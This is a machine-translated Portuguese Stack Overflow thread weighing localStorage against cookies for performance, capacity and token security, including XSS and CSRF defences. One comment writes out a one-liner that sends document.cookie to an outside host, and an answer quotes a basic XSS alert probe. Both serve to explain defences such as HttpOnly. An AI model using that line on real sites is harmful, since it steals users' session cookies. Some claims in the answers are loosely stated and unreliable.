Armazenamento local vs cookies

1027

Desejo reduzir o tempo de carregamento nos meus sites, movendo todos os cookies para o armazenamento local, pois eles parecem ter a mesma funcionalidade. Existem prós / contras (especialmente em termos de desempenho) no uso do armazenamento local para substituir a funcionalidade de cookies, exceto pelos problemas óbvios de compatibilidade?

Gio Borje
fonte
107
Possibilidade de desvantagem: os valores localStorge nas páginas Secure (SSL) são isolados. Portanto, se seu site tiver páginas http e https, você não poderá acessar os valores definidos em uma página http ao visitar uma página https. Tentei localStorage para um mini carrinho de ajax em uma loja Magento.
6
surpreendentemente bem suportado (em comparação com o que eu estava esperando) caniuse.com/#search=localstorage
Simon_Weaver
6
Alguns usuários também têm cookies desativados como regra em seus navegadores. O armazenamento local pode funcionar melhor para esses usuários.
evolross
9
" Possível desvantagem: os valores [localStorage] nas páginas Secure (SSL) são isolados " Essa é a grande vantagem na verdade.
precisa
13
É por isso que você deve forçar o SSL no seu site ... Não vejo motivo para oferecer as duas versões de uma página se você já tiver a versão SSL disponível.
X19

Respostas:

1277

Cookies e armazenamento local servem a propósitos diferentes. Os cookies são principalmente para leitura do lado do servidor , o armazenamento local pode ser lido apenas pelo lado do cliente . Portanto, a pergunta é, no seu aplicativo, quem precisa desses dados - o cliente ou o servidor?

Se for o seu cliente (seu JavaScript), mude por todos os meios. Você está desperdiçando largura de banda enviando todos os dados em cada cabeçalho HTTP.

Se for o seu servidor, o armazenamento local não é tão útil porque você teria que encaminhar os dados de alguma forma (com Ajax ou campos de formulário ocultos ou algo assim). Isso pode ser bom se o servidor precisar apenas de um pequeno subconjunto do total de dados para cada solicitação.

Você deseja deixar o cookie de sessão como um cookie de qualquer maneira.

De acordo com a diferença técnica, e também o meu entendimento:

  1. Além de ser uma maneira antiga de salvar dados, os Cookies oferecem um limite de 4096 bytes (4095, na verdade) - é por cookie. O armazenamento local é de até 5 MB por domínio - a SO Question também menciona.

  2. localStorageé uma implementação da Storageinterface. Ele armazena dados sem data de validade e é limpo apenas por meio de JavaScript ou limpeza do cache do navegador / dados armazenados localmente - diferentemente da expiração do cookie.

jpsimons
fonte
30
O HTML5 possui armazenamento com escopo de sessão que também pode ser usado como substituto para cookies de sessão.
Pat Niemeyer
5
@ PatNiemeyer, você pode assumir sessionStoragecomo um cookie que expira até o navegador ser fechado (não a guia). @darkporter, obrigado pela resposta. No entanto, gostaria de ouvir a diferença técnica entre cookies e armazenamento local. aguardando sua edição.
Om Shankar
28
@OmShankar Não tenho certeza se você ainda tem essa dúvida, mas aqui está a diferença: localStorage permanece no cliente enquanto cookiesé enviado com o cabeçalho HTTP. Essa é a maior (mas não a única) diferença entre eles.
Andre Calil
16
Se o seu aplicativo cliente conversar com a API REST, o uso de cookies para armazenar e transmitir o ID da sessão não é idiomático no REST. Portanto, para mim, os cookies parecem uma tecnologia antiga que provavelmente deve ser substituída pelo armazenamento local (+ JavaScript, se você precisar passar alguns dados, como o ID da sessão, para o servidor).
Tvaroh 4/11
8
O armazenamento local não é necessariamente uma opção mais segura que os cookies, pois é vulnerável a ataques XSS. Pessoalmente, eu optaria por um cookie HTTPS criptografado (talvez usando JWT ou JWE), com um esquema de expiração cuidadosamente planejado. ou seja, implemente um processo de 'política' de expiração no nível de cookie e um 'renovação' de cookies no servidor, para reduzir a chance de um cookie ser usado por terceiros mal-intencionados. Escrevi uma resposta abaixo citando partes de um artigo de Stormpath sobre esse assunto.
XtraSimplicity
231

No contexto das JWTs , o Stormpath escreveu um artigo bastante útil, descrevendo as possíveis maneiras de armazená-las e as (des) vantagens relacionadas a cada método.

Ele também possui uma breve visão geral dos ataques XSS e CSRF e como você pode combatê-los.

Anexamos alguns trechos curtos do artigo abaixo, caso o artigo seja colocado offline / o site seja desativado.

Armazenamento local

Problemas:

O armazenamento na Web (localStorage / sessionStorage) pode ser acessado por meio de JavaScript no mesmo domínio. Isso significa que qualquer JavaScript em execução no seu site terá acesso ao armazenamento na Web e, por isso, pode ser vulnerável a ataques de script entre sites (XSS). O XSS em poucas palavras é um tipo de vulnerabilidade em que um invasor pode injetar JavaScript que será executado na sua página. Os ataques XSS básicos tentam injetar JavaScript através de entradas de formulário, onde o invasor coloca alerta ('Você foi hackeado'); em um formulário para ver se ele é executado pelo navegador e pode ser visualizado por outros usuários.

Prevenção:

Para evitar o XSS, a resposta comum é escapar e codificar todos os dados não confiáveis. Mas isso está longe de ser a história completa. Em 2015, aplicativos web modernos usam JavaScript hospedado em CDNs ou em infraestrutura externa. Os aplicativos da Web modernos incluem bibliotecas JavaScript de terceiros para testes A / B, análise de funil / mercado e anúncios. Usamos gerenciadores de pacotes como o Bower para importar o código de outras pessoas para nossos aplicativos.

E se apenas um dos scripts que você usa estiver comprometido? JavaScript malicioso pode ser incorporado na página e o armazenamento na Web é comprometido. Esses tipos de ataques XSS podem obter o armazenamento na Web de todos que visitam seu site, sem o conhecimento deles. É provavelmente por isso que várias organizações aconselham a não armazenar nada de valor ou confiar em qualquer informação no armazenamento na web. Isso inclui identificadores de sessão e tokens.

Como mecanismo de armazenamento, o Armazenamento na Web não impõe nenhum padrão seguro durante a transferência. Quem lê o Armazenamento da Web e o utiliza deve fazer a devida diligência para garantir que sempre envie o JWT por HTTPS e nunca por HTTP.

Biscoitos

Problemas:

Os cookies, quando usados ​​com o sinalizador de cookie HttpOnly, não são acessíveis por JavaScript e são imunes ao XSS. Você também pode definir o sinalizador de cookie seguro para garantir que o cookie seja enviado apenas por HTTPS. Esse é um dos principais motivos pelos quais os cookies foram aproveitados no passado para armazenar tokens ou dados de sessão. Os desenvolvedores modernos hesitam em usar cookies porque tradicionalmente exigem que o estado seja armazenado no servidor, quebrando assim as melhores práticas RESTful. Os cookies como mecanismo de armazenamento não exigem que o estado seja armazenado no servidor se você estiver armazenando um JWT no cookie. Isso ocorre porque o JWT encapsula tudo o que o servidor precisa para atender à solicitação.

No entanto, os cookies são vulneráveis ​​a um tipo diferente de ataque: falsificação de solicitação entre sites (CSRF). Um ataque de CSRF é um tipo de ataque que ocorre quando um site, email ou blog malicioso faz com que o navegador da Web de um usuário execute uma ação indesejada em um site confiável no qual o usuário está autenticado. Esta é uma exploração de como o navegador lida com cookies. Um cookie pode ser enviado apenas para os domínios nos quais é permitido. Por padrão, este é o domínio que originalmente definiu o cookie. O cookie será enviado para uma solicitação, independentemente de você estar no galaxies.com ou hahagonnahackyou.com.

Prevenção:

Navegadores modernos suportam a SameSitebandeira , além de HttpOnlye Secure. O objetivo desse sinalizador é impedir que o cookie seja transmitido em solicitações entre sites, impedindo muitos tipos de ataques CSRF.

Para navegadores que não suportam SameSite, o CSRF pode ser evitado usando padrões de token sincronizados. Isso parece complicado, mas todas as estruturas da web modernas têm suporte para isso.

Por exemplo, o AngularJS tem uma solução para validar que o cookie é acessível apenas pelo seu domínio. Diretamente dos documentos do AngularJS:

Ao executar solicitações XHR, o serviço $ http lê um token de um cookie (por padrão, XSRF-TOKEN) e o define como um cabeçalho HTTP (X-XSRF-TOKEN). Como apenas o JavaScript executado em seu domínio pode ler o cookie, seu servidor pode ter certeza de que o XHR veio do JavaScript em execução no seu domínio. Você pode tornar esta proteção CSRF sem estado incluindo uma xsrfTokenreivindicação JWT:

{
  "iss": "http://galaxies.com",
  "exp": 1300819380,
  "scopes": ["explorer", "solar-harvester", "seller"],
  "sub": "[email protected]",
  "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
}

Ao alavancar a proteção CSRF da estrutura de aplicativos da web, os cookies são sólidos para armazenar uma JWT. O CSRF também pode ser parcialmente evitado, verificando o referenciador HTTP e o cabeçalho Origin da sua API. Os ataques de CSRF terão cabeçalhos de referência e origem não relacionados ao seu aplicativo.

O artigo completo pode ser encontrado aqui: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/

Eles também têm um artigo útil sobre como melhor projetar e implementar JWTs, com relação à estrutura do próprio token: https://stormpath.com/blog/jwt-the-right-way/

XtraSimplicity
fonte
6
Ponto excelente. Surpreendeu as implicações de segurança do armazenamento local (ou a falta dele para o XSS) não foram mencionadas antes em uma pergunta tão lida - exceto por uma resposta que, incorretamente, o IMHO sugere que é mais seguro!
Barry Pollard
25
Acho a conversa toda sobre segurança um pouco perturbadora para ser sincera. Sim, localStorageé acessível para outros scripts na página ... Mas também é XMLHttpRequest... E sim, o sinalizador HttpOnly protege contra o roubo do cookie, mas o navegador ainda o envia para o domínio correspondente automaticamente, então ... basicamente, quando você tem scripts maliciosos Em execução na sua página, você já está hackeado.
Stijn de Witt
3
@StijndeWitt Cada camada de proteção tem seu próprio poder e fraqueza. Portanto, geralmente é melhor ter várias camadas de proteção. Apenas para dar um exemplo: o HttpOnly também evita ataques não-ajax window.location = 'http://google.com?q=' + escape(document.cookie);. Esse ataque ignora a verificação do CORS dos navegadores.
Meme Olsen
Supondo que você tenha fornecedores pouco confiáveis ​​para algumas coisas, como anúncios ... por que seus anúncios são veiculados pelo mesmo domínio que seu próprio conteúdo confiável? Os anúncios apenas precisam ser exibidos dentro da página da Web; eles geralmente não precisam executar JS dentro da página. Muita integração para esse conteúdo de terceiros é desnecessária.
23418825255Código
Por que um token csrf em um cookie (que tem que ser não apenas http por definição, para que possa ser lido via JavaScript e enviado por um cabeçalho) ajuda em termos de segurança? Se meu site estiver vulnerável a xss, o cookie poderá ser lido tão facilmente quanto o armazenamento local / sessão.
Juangamnik 11/06/19
96

Com localStorage, os aplicativos da web podem armazenar dados localmente no navegador do usuário. Antes do HTML5, os dados do aplicativo tinham que ser armazenados em cookies, incluídos em todas as solicitações do servidor. Grandes quantidades de dados podem ser armazenadas localmente, sem afetar o desempenho do site. Embora localStorageseja mais moderno, existem alguns prós e contras de ambas as técnicas.

Biscoitos

Prós

  • Suporte legado (existe desde sempre)
  • Dados persistentes
  • Datas de expiração

Contras

  • Cada domínio armazena todos os seus cookies em uma única sequência, o que pode dificultar a análise dos dados
  • Os dados não são criptografados, o que se torna um problema porque ... ... apesar de pequenos, os cookies são enviados a cada solicitação HTTP Tamanho limitado (4KB)
  • A injeção de SQL pode ser realizada a partir de um cookie

Armazenamento local

Prós

  • Suporte pela maioria dos navegadores modernos
  • Dados persistentes armazenados diretamente no navegador
  • Regras de mesma origem se aplicam aos dados de armazenamento local
  • Não é enviado com todas as solicitações HTTP
  • ~ 5 MB de armazenamento por domínio (5120 KB)

Contras

  • Não há suporte para nada antes: IE 8, Firefox 3.5, Safari 4, Chrome 4, Opera 10.5, iOS 2.0, Android 2.0
  • Se o servidor precisar de informações armazenadas do cliente, você deverá enviá-las intencionalmente.

localStorageo uso é quase idêntico ao da sessão. Eles têm métodos muito exatos, portanto, mudar de sessão para localStorageé realmente uma brincadeira de criança. No entanto, se os dados armazenados forem realmente cruciais para o seu aplicativo, você provavelmente usará cookies como backup, caso localStoragenão estejam disponíveis. Se você deseja verificar o suporte ao navegador localStorage, basta executar este script simples:

/* 
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
    var test = 'test';
    try {
        localStorage.setItem(test, test);
        localStorage.removeItem(test);
        return true;
    } catch(e) {
        return false;
    }
}

/* 
* execute Test and run our custom script 
*/
if(lsTest()) {
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
    window.localStorage.setItem(name, 1);
    console.log('localStorage where used'); // log
} else {
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
    console.log('Cookie where used'); // log
}

"os valores localStorage nas páginas Secure (SSL) são isolados", pois alguém notou que o localStorage não estará disponível se você alternar do protocolo seguro 'http' para 'https', onde o cookie ainda será acessível. Isso é importante quando você trabalha com protocolos seguros.

DevWL
fonte
1
A verificação que você está fazendo não é muito confiável. Existem navegadores e modos (privados) que possuem o objeto Storage, mas não conseguem definir valores de forma precisa. A única maneira de verificar o suporte real é tentar remover um conjunto nele.
JavaScript
Ponto tomado, eu atualizei minha resposta no que diz respeito à resposta de Joe em: stackoverflow.com/questions/16427636/…
DevWL
10
Como 'Injeção SQL pode ser executada' está listada como uma contra-cookie, você está dizendo que não pode ser executada a partir do localStorage?
Martin Schneider
Outro profissional para cookies. Os cookies podem ser marcados como HTTPOnly. Isso significa que eles não podem ser acessados ​​a partir do JavaScript, o que significa que nenhum ataque XSS malicioso pode recuperar o conteúdo do cookie. Por causa disso, eu não diria necessariamente que o armazenamento local é mais seguro que os cookies.
Wp-overwatch.com
@ Mr.Me Embora os ataques XSS não possam ler um cookie HTTPOnly, o invasor ainda pode fazer qualquer solicitação HTTP que o usuário possa fazer (por definição) limitada apenas pela sessão do navegador. Supondo que o cookie da sessão seja um identificador opaco, como quase todos os cookies da sessão, a leitura do valor do cookie é útil apenas para executar uma solicitação HTTP, incluindo: você não aprende nada apenas com o valor do cookie. (Note, cookies de sessão pode em algum momento ser ligado a um determinado endereço IP de origem, cabeçalho user-agent, ou outras características do navegador; ataques XSS executar solicitações HTTP a partir do browser, assim que estes jogo.)
curiousguy
7

Bem, a velocidade de armazenamento local depende muito do navegador que o cliente está usando, bem como do sistema operacional. O Chrome ou Safari em um mac pode ser muito mais rápido que o Firefox em um PC, especialmente com APIs mais recentes. Como sempre, o teste é seu amigo (não encontrei nenhuma referência).

Realmente não vejo uma diferença enorme entre o cookie e o armazenamento local. Além disso, você deve estar mais preocupado com problemas de compatibilidade: nem todos os navegadores começaram a dar suporte às novas APIs HTML5, portanto, os cookies seriam sua melhor aposta em velocidade e compatibilidade.

pop850
fonte
2
É apenas um projeto interno, portanto coisas como compatibilidade entre navegadores não são realmente necessárias. Como os cookies são enviados com cada solicitação HTTPRe (meu aplicativo tem ~ 77 solicitações), o que significa sobrecarga adicional de ~ 500kB. Sei que a solução óbvia é uma CDN, mas quero tentar algo que não depende do servidor. Eu não consegui encontrar nenhum parâmetro de referência e é por isso que esperava que alguém aqui soubesse.
Gio Borje 10/07
14
Por que o Chrome ou o Safari seriam mais rápidos em um Mac? É praticamente o mesmo código do navegador em execução, seja no Mac, Linux ou Windows.
Mark K Cowan
7

Também vale ressaltar que localStorage não pode ser usado quando os usuários navegam no modo "privado" em algumas versões do Safari móvel.

Citado em MDN ( https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage ):

Nota: A partir do iOS 5.1, o Safari Mobile armazena dados de armazenamento local na pasta de cache, que está sujeita a limpeza ocasional, a pedido do sistema operacional, geralmente se houver pouco espaço. O modo de Navegação Privada do Safari Mobile também evita a gravação inteiramente no localStorage.

benjaminz
fonte
6

O armazenamento local pode armazenar dados offline de até 5 MB, enquanto a sessão também pode armazenar dados de até 5 MB. Mas os cookies podem armazenar apenas dados de 4kb em formato de texto.

Dados de armazenamento LOCAL e Session no formato JSON, portanto fáceis de analisar. Mas os dados dos cookies estão no formato de sequência.

Avinash Malhotra
fonte
6

Cookies :

  1. Introduzido antes do HTML5.
  2. Tem data de validade.
  3. Apagado por JS ou Apagar dados de navegação do navegador ou após a data de validade.
  4. Será enviado ao servidor por cada solicitação.
  5. A capacidade é de 4KB.
  6. Somente strings podem armazenar em cookies.
  7. Existem dois tipos de cookies: persistente e sessão.

Armazenamento local:

  1. Introduzido com HTML5.
  2. Não tem data de validade.
  3. Cleard by JS ou Clear Browsing Data do navegador.
  4. Você pode selecionar quando os dados devem ser enviados ao servidor.
  5. A capacidade é de 5 MB.
  6. Os dados são armazenados indefinidamente e devem ser uma sequência.
  7. Só tem um tipo.
Seyedraouf Modarresi
fonte
6. localStorage só pode armazenar cadeias, primitivos e objetos devem ser convertidos em cadeias antes do armazenamento, 7. sessionStorage também está disponível e é idêntico a localStorage, exceto que não persista
Robbie Milejczak
Você só pode armazenar picadas no armazenamento
TheMisir